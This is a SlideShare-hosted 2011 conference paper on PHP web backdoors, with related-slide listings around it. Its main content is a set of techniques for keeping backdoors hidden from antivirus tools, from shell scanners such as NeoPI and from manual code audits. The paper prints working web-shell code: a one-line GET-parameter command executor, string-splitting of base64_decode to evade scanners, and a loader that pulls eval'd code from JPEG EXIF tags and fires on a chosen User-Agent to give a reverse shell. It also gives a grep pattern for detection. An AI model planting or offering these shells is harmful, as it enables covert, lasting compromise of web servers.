SlideShare a Scribd company logo
1 of 9
Meet Us at http://www.Garage4Hackers.com          FB1H2S



     [http://www.Garage4Hackers.com]


     [Web Backdoors]
     [Attack, Evasion and Detection]
     [fb1h2s aka Rahul Sasi]




                                           [G4H 2011]
Meet Us at http://www.Garage4Hackers.com                                                          FB1H2S


Abstract: This paper provides insight on common web back doors and how simple manipulations could
make them undetectable by AV and other security suits. Paper explains few techniques that could be
used to render undetectable and unnoticed backdoors inside web applications.

This paper is mainly an update for an old paper of ours Effectiveness of Antivirus in Detecting Web
Application Backdoors, which mainly questioned the effectiveness of AV with respect to web shells and
analysis of a couple of web shells. Current paper takes this topic further and explains a couple of
methodologies that could be used to make stealth application layer backdoors using web scripting
languages .This paper explains various Web Backdoor attacks and evasion techniques that could be used
to stay undetected .

Web Application Backdoors:

They are simple scripts built using web applications programs that would serve an attacker as a
backdoor to the application hosting environment.

Detection Methods [Signature Based Detection]

In this technique the Antivirus software’s need to have the signature of the Backdoor, and for that the
companies should already have had a copy of the backdoor for analyzing.

Evading Signature Based Detection:

We have previously documented how easy it was to bypass signature based detection. Based on further
analysis we were able to conclude that, all most all AV use simple md5 check sum as signature for
detecting common Web backdoors or simple text based signatures, though AV using MD5 or other
check sum for detection is not any new news. This could be a night mare for many sys admin.

A very common backdoor named cybershell.php was scanned with Total Av scanner and following were
the results.

   #Analysis 1.1

   Sample md5:         ef8828e0bc0641a655de3932199c0527

   File Name:         cybershell.php

   Submission date: 2011-08-29 12:00:02 (UTC)

   Result:             20 /44 (45.5%)
Meet Us at http://www.Garage4Hackers.com                                                            FB1H2S


So for bypassing this it is pretty easy, just add an extra comment line inside the code or strip out few
strings from the code and that would be it.


    #Analysis 1.2

    Sample md5:         251e62025daf17be22a028baa8d2b506

    File Name:          cybershell.php

    Submission date: 2011-08-29 12:20:42 (UTC)

    Result:             0 /44 (00.00%)


We have already documented on how easy it is to bypass AV detection of web backdoors and its pretty
simple and making a document for that it is pointless. May be better ways of detecting them would be a
good scope of research.

 Moving on to the main paper, since that we know by now that AV are of no use detecting Web
backdoors, there is no point in finding evasion techniques for them. But there are a handful of good
tools and scripts that could scan and detect such backdoors. And also a server admin who is browsing
though the source of his web server could easily figure out these ugly backdoors. So this paper would be
mainly on how to evade these situations (examples would be in php).

     Web Backdoor Shell Detection on Servers (Specialized Tools)
As documented here , the following are few specialized tools that are effective and

1. Web Shell Detection Using NeoPI - A python Script

(https://github.com/Neohapsis/NeoPI)

2. PHP Shell Scanner - A perl Script

(http://ketan.lithiumfox.com/doku.php?id=phpshell_scanner)

3. PHP script to find malicious code on a hacked server - A PHP Script

(http://25yearsofprogramming.com/blog/2010/20100315.htm)

So the logic used by most of these scanners is simply to find all reference to the following
function calls, these functions are mainly used for file management and OS command execution
and are unavoidable parts in web shells.

    grep -RPn
    "(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|read
    file|passthru)" /pathto/webdir/
Meet Us at http://www.Garage4Hackers.com                                                         FB1H2S


NeoPI
NeoPI is a Python script that uses a variety of statistical methods to detect obfuscated and
encrypted content within text and script files. The intended purpose of NeoPI is to aid in the
identification of hidden web shell code. The development focus of NeoPI was creating a tool
that could be used in conjunction with other established detection methods such as Linux
Malware Detect or traditional signature/keyword based searches.

[Source]

In the above list NeoPI provides better result than the rest and we will concentrate dealing with this
particular tool. One issues with these tools are, manual assessment is very much required since there
are a lot of false positives.

Few Backdoor codes these scanners will detect.

Php Back tick Method


                  <?=@`$_`?>               //Php Back tick Method




Any code containing any of the above mentioned black listed functions would be caught.


    elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v =
    @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents();
    @ob_clean(); echo $v;}




The following would be detected as NEOIP has got a mechanism to scan check for natural language, and
the series of encoded values would be flagged.


    $code =
    “aGVsbG8gYWxsIHRoaXMgaXMganVzdCBhIHRlc3QgZm9yIHRoZSBwYXBlciBub3RoaW5nIGJh
    ZCBidWhhIGhhIGhhIGhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0ZXN0IGZvciB0aGUgcGFwZXIgb
    m90aGluZyBiYWQgYnVoYSBoYSBoYWhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0ZXN0IGZvciB0a
    GUgcGFwZXIgbm90aGluZyBiYWQgYnVoYSBoYSBoYWhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0
    ZXN0IGZvciB0aGUgcGFwZXIgbm90aGluZyBiYWQgYnVoYSBoYSBoYQ==”

    Decodethis($code)
Meet Us at http://www.Garage4Hackers.com                                            FB1H2S


                                          Evasion Techniques
Evasion #1:

        Situation: Admin Might Scan his server with one of the above tools.

        Evasion:

        Php supports Variable Function :


          // following code is detected as base64_decode is detected as malicious
          content by one of the above tools

          <?php

          $badcode =”am_encoded_bad_code_buhaha”;

          Eval(base64_decoded($badcode);

          ?>



       An alternate way to bypass the scan would be done the following way.

              <?php

              $badcode =”am_encoded_bad_code_buhaha” ;

              $b = “base”;

              $c = “64_”;

              $d =”decode”;

              alternate = $b.$c.$d;

              eval(alternate($badcode);



We will be explaining an alternate for EVAL soon.
Meet Us at http://www.Garage4Hackers.com                                                     FB1H2S




Evasion #2:

       Situation: Admin manually searches through source code, he could possibly get suspicious the
       string like base64 etc, he might spot large encoded strings in his web application files.

       Evasion: A simple evasion for making this work would be to make the backdoor code as small
       as possible; so that it could be included with other code and remain undetected.

              <?

              $_ = $_GET[2];

              $__= $_GET[1] ;

              echo '<pre>'.$_($__).'</pre>';

              ?>




        It could be further shortened to the following format

                        <?=($_=@$_GET[c]).@$_($_GET[f])?>


       These small few lines of code would be able to give command execution. It would be
       completely undetectable by any of the above tools and not easily by manual code audits.
       Changing the above code from using GET request to POST request would prevent it from
       showing up in logs files too.
Meet Us at http://www.Garage4Hackers.com                                                           FB1H2S


Evasion #3:

       Situation: The applications are audited using some source code audit scanners that detect all
       possible user inputs fields and traces possible code injection attacks. Thus taking the input via
       _GET and _POST method might get detected.

       Evasion:

       It’s possible to place data inside JPEG EXIF headers, so we will put all function calls and data
       inside an image and assemble them at runtime, that way the inputs would be coming not form
       user but form a local source .




         <?php

                  $_ = exif_read_data ('image.jpg');

                  $d=$_['Make'];                   //base64_decode

                  $str = $_['Code'];               // Evil Base64_encoded code

                  eval($d($str));                  // eval(base64_decode(code))

         ?>



       Here image.jpeg, could contain all our php code and shell codes, and the exif_read_data tag
       could be used to call individual meta tags and function calls could be constructed at runtime.

       Similarly we could hide a reverse shell inside an image and place it inside the index page, so
       whenever a request to the main page is made with a particular HTTP Header our backdoor
       would be triggered, this way it would be less noisy and undetectable by AV, code audits, and any
       backdoor hunting script.

       Note: An alternate for eval would be using the preg_replace() function with /e switch :

         <?php

         $code_fb = 'print( 'Hello, fb1h2s !'.PHP_EOL)';

         preg_replace('/(.*)/e', $code_fb, '' );

         ?>
Meet Us at http://www.Garage4Hackers.com                                                   FB1H2S




Demo:

        The above small piece of code is injected into index page of a compromised site.
        The image with the actual malicious code is added to sites /images directory.
        Code is triggered on a particular HTTP header may be user_agent == w1d0ws.
        On accessing the index page we will get a reverse shell.

Benefits:

        Backdoor remains undetected from shell scanners and AV
        Remains undetected form code auditing software’s.
        No traces in log files

Here is how it looks:

Am an innocent page 




Request:
Meet Us at http://www.Garage4Hackers.com                                                  FB1H2S




Shell Obtained:




Improvements:



The POC code/demo would have a PHP code that would be able to load shell codes and provide connect
back shell.



Thanks for Reading,

Fb1h2s @ gmail.com

http://www.Garage4Hackers.com

[This paper was presented and demos were given at C0C0N Sec Conference 2011 Oct -9 ]

More Related Content

What's hot

Research Paper on Rootkit.
Research Paper on Rootkit.Research Paper on Rootkit.
Research Paper on Rootkit.Anuj Khandelwal
 
Virus and its CounterMeasures -- Pruthvi Monarch
Virus and its CounterMeasures                         -- Pruthvi Monarch Virus and its CounterMeasures                         -- Pruthvi Monarch
Virus and its CounterMeasures -- Pruthvi Monarch Pruthvi Monarch
 
Introduction of hacking and cracking
Introduction of hacking and crackingIntroduction of hacking and cracking
Introduction of hacking and crackingHarshil Barot
 
Type of Malware and its different analysis and its types !
Type of Malware and its different analysis and its types  !Type of Malware and its different analysis and its types  !
Type of Malware and its different analysis and its types !Mohammed Jaseem Tp
 
Information security & EthicalHacking
Information security & EthicalHackingInformation security & EthicalHacking
Information security & EthicalHackingAve Nawsh
 
Dan Catalin Vasile - Defcamp2013 - Does it pay to be a blackhat hacker
Dan Catalin Vasile - Defcamp2013 - Does it pay to be a blackhat hackerDan Catalin Vasile - Defcamp2013 - Does it pay to be a blackhat hacker
Dan Catalin Vasile - Defcamp2013 - Does it pay to be a blackhat hackerDan Vasile
 
Virus and Malicious Code Chapter 5
Virus and Malicious Code Chapter 5Virus and Malicious Code Chapter 5
Virus and Malicious Code Chapter 5AfiqEfendy Zaen
 
Program security chapter 3
Program security chapter 3Program security chapter 3
Program security chapter 3Education
 
Program and System Threats
Program and System ThreatsProgram and System Threats
Program and System ThreatsReddhi Basu
 
Understanding CryptoLocker (Ransomware) with a Case Study
Understanding CryptoLocker (Ransomware) with a Case StudyUnderstanding CryptoLocker (Ransomware) with a Case Study
Understanding CryptoLocker (Ransomware) with a Case Studysecurityxploded
 

What's hot (20)

Understanding Keylogger
Understanding KeyloggerUnderstanding Keylogger
Understanding Keylogger
 
Network security and viruses
Network security and virusesNetwork security and viruses
Network security and viruses
 
Hacker bootcamp
Hacker bootcampHacker bootcamp
Hacker bootcamp
 
Research Paper on Rootkit.
Research Paper on Rootkit.Research Paper on Rootkit.
Research Paper on Rootkit.
 
Malicious
MaliciousMalicious
Malicious
 
Introduction to Malwares
Introduction to MalwaresIntroduction to Malwares
Introduction to Malwares
 
TIC
TICTIC
TIC
 
Virus and its CounterMeasures -- Pruthvi Monarch
Virus and its CounterMeasures                         -- Pruthvi Monarch Virus and its CounterMeasures                         -- Pruthvi Monarch
Virus and its CounterMeasures -- Pruthvi Monarch
 
Introduction of hacking and cracking
Introduction of hacking and crackingIntroduction of hacking and cracking
Introduction of hacking and cracking
 
Type of Malware and its different analysis and its types !
Type of Malware and its different analysis and its types  !Type of Malware and its different analysis and its types  !
Type of Malware and its different analysis and its types !
 
Information security & EthicalHacking
Information security & EthicalHackingInformation security & EthicalHacking
Information security & EthicalHacking
 
Dan Catalin Vasile - Defcamp2013 - Does it pay to be a blackhat hacker
Dan Catalin Vasile - Defcamp2013 - Does it pay to be a blackhat hackerDan Catalin Vasile - Defcamp2013 - Does it pay to be a blackhat hacker
Dan Catalin Vasile - Defcamp2013 - Does it pay to be a blackhat hacker
 
Virus and Malicious Code Chapter 5
Virus and Malicious Code Chapter 5Virus and Malicious Code Chapter 5
Virus and Malicious Code Chapter 5
 
Security Handbook
 Security Handbook Security Handbook
Security Handbook
 
Computer Security
Computer SecurityComputer Security
Computer Security
 
Program security chapter 3
Program security chapter 3Program security chapter 3
Program security chapter 3
 
Keyloggers
KeyloggersKeyloggers
Keyloggers
 
Program and System Threats
Program and System ThreatsProgram and System Threats
Program and System Threats
 
Understanding CryptoLocker (Ransomware) with a Case Study
Understanding CryptoLocker (Ransomware) with a Case StudyUnderstanding CryptoLocker (Ransomware) with a Case Study
Understanding CryptoLocker (Ransomware) with a Case Study
 
What is keylogger
What is keyloggerWhat is keylogger
What is keylogger
 

Viewers also liked

Webshelldetector
WebshelldetectorWebshelldetector
WebshelldetectorTensor
 
HART as an Attack Vector
HART as an Attack VectorHART as an Attack Vector
HART as an Attack VectorDigital Bond
 
Malware's Most Wanted: CryptoLocker—The Ransomware Trojan
Malware's Most Wanted: CryptoLocker—The Ransomware TrojanMalware's Most Wanted: CryptoLocker—The Ransomware Trojan
Malware's Most Wanted: CryptoLocker—The Ransomware TrojanCyphort
 
Enterprise security: ransomware in enterprise and corporate entities
Enterprise security: ransomware in enterprise and corporate entitiesEnterprise security: ransomware in enterprise and corporate entities
Enterprise security: ransomware in enterprise and corporate entitiesQuick Heal Technologies Ltd.
 
Trojan virus & backdoors
Trojan virus & backdoorsTrojan virus & backdoors
Trojan virus & backdoorsShrey Vyas
 
MMW April 2016 Ransomware Resurgence
MMW April 2016 Ransomware Resurgence MMW April 2016 Ransomware Resurgence
MMW April 2016 Ransomware Resurgence Cyphort
 
Web Based Security
Web Based SecurityWeb Based Security
Web Based SecurityJohn Wiley
 
Layer 7: Getting Your SOA to Production Without Cost and Complexity
Layer 7: Getting Your SOA to Production Without Cost and ComplexityLayer 7: Getting Your SOA to Production Without Cost and Complexity
Layer 7: Getting Your SOA to Production Without Cost and ComplexityCA API Management
 
Complementos
ComplementosComplementos
ComplementosTensor
 
Secure Kernel Machines against Evasion Attacks
Secure Kernel Machines against Evasion AttacksSecure Kernel Machines against Evasion Attacks
Secure Kernel Machines against Evasion AttacksPluribus One
 
How to stay protected against ransomware
How to stay protected against ransomwareHow to stay protected against ransomware
How to stay protected against ransomwareSophos Benelux
 
A combined approach to search for evasion techniques in network intrusion det...
A combined approach to search for evasion techniques in network intrusion det...A combined approach to search for evasion techniques in network intrusion det...
A combined approach to search for evasion techniques in network intrusion det...eSAT Journals
 
Cybersecurity Attack Vectors: How to Protect Your Organization
Cybersecurity Attack Vectors: How to Protect Your OrganizationCybersecurity Attack Vectors: How to Protect Your Organization
Cybersecurity Attack Vectors: How to Protect Your OrganizationTriCorps Technologies
 
CEHv7 Question Collection
CEHv7 Question CollectionCEHv7 Question Collection
CEHv7 Question CollectionManish Luintel
 
Endpoint Protection
Endpoint ProtectionEndpoint Protection
Endpoint ProtectionSophos
 
2 introduction to data structure
2  introduction to data structure2  introduction to data structure
2 introduction to data structureMahmoud Alfarra
 

Viewers also liked (20)

Webshelldetector
WebshelldetectorWebshelldetector
Webshelldetector
 
HART as an Attack Vector
HART as an Attack VectorHART as an Attack Vector
HART as an Attack Vector
 
Malware's Most Wanted: CryptoLocker—The Ransomware Trojan
Malware's Most Wanted: CryptoLocker—The Ransomware TrojanMalware's Most Wanted: CryptoLocker—The Ransomware Trojan
Malware's Most Wanted: CryptoLocker—The Ransomware Trojan
 
Ransomware
RansomwareRansomware
Ransomware
 
Enterprise security: ransomware in enterprise and corporate entities
Enterprise security: ransomware in enterprise and corporate entitiesEnterprise security: ransomware in enterprise and corporate entities
Enterprise security: ransomware in enterprise and corporate entities
 
Trojan virus & backdoors
Trojan virus & backdoorsTrojan virus & backdoors
Trojan virus & backdoors
 
MMW April 2016 Ransomware Resurgence
MMW April 2016 Ransomware Resurgence MMW April 2016 Ransomware Resurgence
MMW April 2016 Ransomware Resurgence
 
Web Based Security
Web Based SecurityWeb Based Security
Web Based Security
 
Layer 7: Getting Your SOA to Production Without Cost and Complexity
Layer 7: Getting Your SOA to Production Without Cost and ComplexityLayer 7: Getting Your SOA to Production Without Cost and Complexity
Layer 7: Getting Your SOA to Production Without Cost and Complexity
 
Complementos
ComplementosComplementos
Complementos
 
Secure Kernel Machines against Evasion Attacks
Secure Kernel Machines against Evasion AttacksSecure Kernel Machines against Evasion Attacks
Secure Kernel Machines against Evasion Attacks
 
How to stay protected against ransomware
How to stay protected against ransomwareHow to stay protected against ransomware
How to stay protected against ransomware
 
Operating Your Production API
Operating Your Production APIOperating Your Production API
Operating Your Production API
 
A combined approach to search for evasion techniques in network intrusion det...
A combined approach to search for evasion techniques in network intrusion det...A combined approach to search for evasion techniques in network intrusion det...
A combined approach to search for evasion techniques in network intrusion det...
 
Veil Evasion and Client Side Attacks
Veil Evasion and Client Side AttacksVeil Evasion and Client Side Attacks
Veil Evasion and Client Side Attacks
 
Cybersecurity Attack Vectors: How to Protect Your Organization
Cybersecurity Attack Vectors: How to Protect Your OrganizationCybersecurity Attack Vectors: How to Protect Your Organization
Cybersecurity Attack Vectors: How to Protect Your Organization
 
CEHv7 Question Collection
CEHv7 Question CollectionCEHv7 Question Collection
CEHv7 Question Collection
 
Endpoint Protection
Endpoint ProtectionEndpoint Protection
Endpoint Protection
 
2 introduction to data structure
2  introduction to data structure2  introduction to data structure
2 introduction to data structure
 
Architecting for Resiliency
Architecting for ResiliencyArchitecting for Resiliency
Architecting for Resiliency
 

Similar to Web backdoors attacks, evasion, detection

#nullblr bachav manual source code review
#nullblr bachav manual source code review#nullblr bachav manual source code review
#nullblr bachav manual source code reviewSantosh Gulivindala
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxFernandoVizer
 
Eight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programsEight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programsAleksandr Yampolskiy
 
Web application security
Web application securityWeb application security
Web application securityRavi Raj
 
Reverse engineering - Shellcodes techniques
Reverse engineering - Shellcodes techniquesReverse engineering - Shellcodes techniques
Reverse engineering - Shellcodes techniquesEran Goldstein
 
Secure programming with php
Secure programming with phpSecure programming with php
Secure programming with phpMohmad Feroz
 
Joomla! Day Chicago 2011 Presentation - Steven Pignataro
Joomla! Day Chicago 2011 Presentation - Steven PignataroJoomla! Day Chicago 2011 Presentation - Steven Pignataro
Joomla! Day Chicago 2011 Presentation - Steven PignataroSteven Pignataro
 
Advanced malwareanalysis training session2 botnet analysis part1
Advanced malwareanalysis training session2 botnet analysis part1Advanced malwareanalysis training session2 botnet analysis part1
Advanced malwareanalysis training session2 botnet analysis part1Cysinfo Cyber Security Community
 
Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Stephan Chenette
 
2600 av evasion_deuce
2600 av evasion_deuce2600 av evasion_deuce
2600 av evasion_deuceDb Cooper
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug BountiesOWASP Nagpur
 
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wp
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wpBlack hat 2010-bannedit-advanced-command-injection-exploitation-1-wp
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wprgster
 
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...CODE BLUE
 
Chasing the Adder. A tale from the APT world...
Chasing the Adder. A tale from the APT world...Chasing the Adder. A tale from the APT world...
Chasing the Adder. A tale from the APT world...Stefano Maccaglia
 
Advanced Malware Analysis Training Session 2 - Botnet Analysis Part 1
Advanced Malware Analysis Training Session 2 - Botnet Analysis Part 1  Advanced Malware Analysis Training Session 2 - Botnet Analysis Part 1
Advanced Malware Analysis Training Session 2 - Botnet Analysis Part 1 securityxploded
 
Profiling PHP - AmsterdamPHP Meetup - 2014-11-20
Profiling PHP - AmsterdamPHP Meetup - 2014-11-20Profiling PHP - AmsterdamPHP Meetup - 2014-11-20
Profiling PHP - AmsterdamPHP Meetup - 2014-11-20Dennis de Greef
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Brian Huff
 
Joomla security nuggets
Joomla security nuggetsJoomla security nuggets
Joomla security nuggetsguestbd1cdca
 

Similar to Web backdoors attacks, evasion, detection (20)

#nullblr bachav manual source code review
#nullblr bachav manual source code review#nullblr bachav manual source code review
#nullblr bachav manual source code review
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
Effectiveness of AV in Detecting Web Application Backdoors
Effectiveness of AV in Detecting Web Application BackdoorsEffectiveness of AV in Detecting Web Application Backdoors
Effectiveness of AV in Detecting Web Application Backdoors
 
Eight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programsEight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programs
 
Web application security
Web application securityWeb application security
Web application security
 
Reverse engineering - Shellcodes techniques
Reverse engineering - Shellcodes techniquesReverse engineering - Shellcodes techniques
Reverse engineering - Shellcodes techniques
 
Secure programming with php
Secure programming with phpSecure programming with php
Secure programming with php
 
Joomla! Day Chicago 2011 Presentation - Steven Pignataro
Joomla! Day Chicago 2011 Presentation - Steven PignataroJoomla! Day Chicago 2011 Presentation - Steven Pignataro
Joomla! Day Chicago 2011 Presentation - Steven Pignataro
 
Advanced malwareanalysis training session2 botnet analysis part1
Advanced malwareanalysis training session2 botnet analysis part1Advanced malwareanalysis training session2 botnet analysis part1
Advanced malwareanalysis training session2 botnet analysis part1
 
Api Design
Api DesignApi Design
Api Design
 
Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007
 
2600 av evasion_deuce
2600 av evasion_deuce2600 av evasion_deuce
2600 av evasion_deuce
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties
 
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wp
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wpBlack hat 2010-bannedit-advanced-command-injection-exploitation-1-wp
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wp
 
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
 
Chasing the Adder. A tale from the APT world...
Chasing the Adder. A tale from the APT world...Chasing the Adder. A tale from the APT world...
Chasing the Adder. A tale from the APT world...
 
Advanced Malware Analysis Training Session 2 - Botnet Analysis Part 1
Advanced Malware Analysis Training Session 2 - Botnet Analysis Part 1  Advanced Malware Analysis Training Session 2 - Botnet Analysis Part 1
Advanced Malware Analysis Training Session 2 - Botnet Analysis Part 1
 
Profiling PHP - AmsterdamPHP Meetup - 2014-11-20
Profiling PHP - AmsterdamPHP Meetup - 2014-11-20Profiling PHP - AmsterdamPHP Meetup - 2014-11-20
Profiling PHP - AmsterdamPHP Meetup - 2014-11-20
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
Joomla security nuggets
Joomla security nuggetsJoomla security nuggets
Joomla security nuggets
 

More from n|u - The Open Security Community

Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...n|u - The Open Security Community
 

More from n|u - The Open Security Community (20)

Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)
 
Osint primer
Osint primerOsint primer
Osint primer
 
SSRF exploit the trust relationship
SSRF exploit the trust relationshipSSRF exploit the trust relationship
SSRF exploit the trust relationship
 
Nmap basics
Nmap basicsNmap basics
Nmap basics
 
Metasploit primary
Metasploit primaryMetasploit primary
Metasploit primary
 
Api security-testing
Api security-testingApi security-testing
Api security-testing
 
Introduction to TLS 1.3
Introduction to TLS 1.3Introduction to TLS 1.3
Introduction to TLS 1.3
 
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
 
Talking About SSRF,CRLF
Talking About SSRF,CRLFTalking About SSRF,CRLF
Talking About SSRF,CRLF
 
Building active directory lab for red teaming
Building active directory lab for red teamingBuilding active directory lab for red teaming
Building active directory lab for red teaming
 
Owning a company through their logs
Owning a company through their logsOwning a company through their logs
Owning a company through their logs
 
Introduction to shodan
Introduction to shodanIntroduction to shodan
Introduction to shodan
 
Cloud security
Cloud security Cloud security
Cloud security
 
Detecting persistence in windows
Detecting persistence in windowsDetecting persistence in windows
Detecting persistence in windows
 
Frida - Objection Tool Usage
Frida - Objection Tool UsageFrida - Objection Tool Usage
Frida - Objection Tool Usage
 
OSQuery - Monitoring System Process
OSQuery - Monitoring System ProcessOSQuery - Monitoring System Process
OSQuery - Monitoring System Process
 
DevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -SecurityDevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -Security
 
Extensible markup language attacks
Extensible markup language attacksExtensible markup language attacks
Extensible markup language attacks
 
Linux for hackers
Linux for hackersLinux for hackers
Linux for hackers
 
Android Pentesting
Android PentestingAndroid Pentesting
Android Pentesting
 

Recently uploaded

TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...Nguyen Thanh Tu Collection
 
Magic bus Group work1and 2 (Team 3).pptx
Magic bus Group work1and 2 (Team 3).pptxMagic bus Group work1and 2 (Team 3).pptx
Magic bus Group work1and 2 (Team 3).pptxdhanalakshmis0310
 
Accessible Digital Futures project (20/03/2024)
Accessible Digital Futures project (20/03/2024)Accessible Digital Futures project (20/03/2024)
Accessible Digital Futures project (20/03/2024)Jisc
 
SKILL OF INTRODUCING THE LESSON MICRO SKILLS.pptx
SKILL OF INTRODUCING THE LESSON MICRO SKILLS.pptxSKILL OF INTRODUCING THE LESSON MICRO SKILLS.pptx
SKILL OF INTRODUCING THE LESSON MICRO SKILLS.pptxAmanpreet Kaur
 
psychiatric nursing HISTORY COLLECTION .docx
psychiatric  nursing HISTORY  COLLECTION  .docxpsychiatric  nursing HISTORY  COLLECTION  .docx
psychiatric nursing HISTORY COLLECTION .docxPoojaSen20
 
Unit-V; Pricing (Pharma Marketing Management).pptx
Unit-V; Pricing (Pharma Marketing Management).pptxUnit-V; Pricing (Pharma Marketing Management).pptx
Unit-V; Pricing (Pharma Marketing Management).pptxVishalSingh1417
 
Activity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdfActivity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdfciinovamais
 
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in DelhiRussian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhikauryashika82
 
Spellings Wk 3 English CAPS CARES Please Practise
Spellings Wk 3 English CAPS CARES Please PractiseSpellings Wk 3 English CAPS CARES Please Practise
Spellings Wk 3 English CAPS CARES Please PractiseAnaAcapella
 
Unit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptxUnit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptxVishalSingh1417
 
PROCESS RECORDING FORMAT.docx
PROCESS      RECORDING        FORMAT.docxPROCESS      RECORDING        FORMAT.docx
PROCESS RECORDING FORMAT.docxPoojaSen20
 
On National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan FellowsOn National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan FellowsMebane Rash
 
Key note speaker Neum_Admir Softic_ENG.pdf
Key note speaker Neum_Admir Softic_ENG.pdfKey note speaker Neum_Admir Softic_ENG.pdf
Key note speaker Neum_Admir Softic_ENG.pdfAdmir Softic
 
2024-NATIONAL-LEARNING-CAMP-AND-OTHER.pptx
2024-NATIONAL-LEARNING-CAMP-AND-OTHER.pptx2024-NATIONAL-LEARNING-CAMP-AND-OTHER.pptx
2024-NATIONAL-LEARNING-CAMP-AND-OTHER.pptxMaritesTamaniVerdade
 
How to Create and Manage Wizard in Odoo 17
How to Create and Manage Wizard in Odoo 17How to Create and Manage Wizard in Odoo 17
How to Create and Manage Wizard in Odoo 17Celine George
 
1029-Danh muc Sach Giao Khoa khoi 6.pdf
1029-Danh muc Sach Giao Khoa khoi  6.pdf1029-Danh muc Sach Giao Khoa khoi  6.pdf
1029-Danh muc Sach Giao Khoa khoi 6.pdfQucHHunhnh
 
The basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptxThe basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptxheathfieldcps1
 
Sociology 101 Demonstration of Learning Exhibit
Sociology 101 Demonstration of Learning ExhibitSociology 101 Demonstration of Learning Exhibit
Sociology 101 Demonstration of Learning Exhibitjbellavia9
 

Recently uploaded (20)

